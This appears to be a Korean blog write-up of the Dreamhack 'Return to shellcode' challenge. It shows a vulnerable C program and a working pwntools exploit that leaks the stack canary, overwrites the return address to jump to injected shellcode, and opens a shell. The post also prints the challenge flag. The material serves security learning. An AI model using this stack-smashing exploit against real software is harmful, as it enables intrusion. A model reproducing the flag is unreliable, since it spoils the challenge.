본문 바로가기

Pwnable

[Dreamhack] Return to shellcode Write-up

 

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

넷캣 명령어를 이용해 실행해보면 buf - rbp 사이의 거리가 96 Byte 인데, 이는 read로 256 Byte 만큼 입력을 받고 있기에, 카나리 릭을 할 수 있다.그리고 gets() 함수로 크기 제한 없이 입력을 받고 있기 때문에 RET까지 조작할 수 있다.
 

 
위를 토대로 직접 메모리 구조를 그려보았다.

첫번째 입력에서 89 바이트를 입력하면 카나리 앞의 NULL이 제거되면서 printf("Input: ");에 의해서 카나리 값을 얻을 수 있다는 것을 시각적으로 쉽게 알 수 있었다.

from pwn import *
 
def slog(name, addr):
  return success(": ".join([name, hex(addr)]))
 
context.arch = "amd64"
 
p = remote("host3.dreamhack.games", 22998) #포트넘버
e = ELF("./r2s")
 
shellcode = asm(shellcraft.sh())
 

p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
 
 
payload = b'A' * 0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
 
slog("buf", buf)
slog("canary", canary)
 
 
payload = shellcode
payload += b'A' * (88 - len(shellcode))
payload += p64(canary)
payload += b"A" * 8
payload += p64(buf)
 
p.sendlineafter("Input: ", payload)
 
p.interactive()

익스플로잇을 작성했다.
핵심 코드는, 
 
canary = u64(b'\x00' + p.recv(7))
7바이트를 받아와서 그 앞에 널 바이트('\x00')를 붙여서 canary 값을 가져오고, 
payload += b'A' * (88 - len(shellcode)): 쉘코드 다음에 나머지 바이트를 "A" 문자로 채워서 페이로드의 길이를 총 88바이트로 만들어주었다.
 
실행시키니 쉘이 뜨고 플래그를 출력해주니 플래그가 떴다.
 

Flag is
DH{333eb89c9d2615dd8942ece08c1d34d5}

 

'Pwnable' 카테고리의 다른 글

[Dreamhack] Return to Library Write-up  (0) 2023.09.25
[Dreamhack] ssp_001 Write-up  (0) 2023.09.25
[pwnable.kr] bof Write-up  (0) 2023.09.19
[문서화] 스택 버퍼 오버플로우  (0) 2023.09.18
[문서화] 함수 호출  (0) 2023.09.18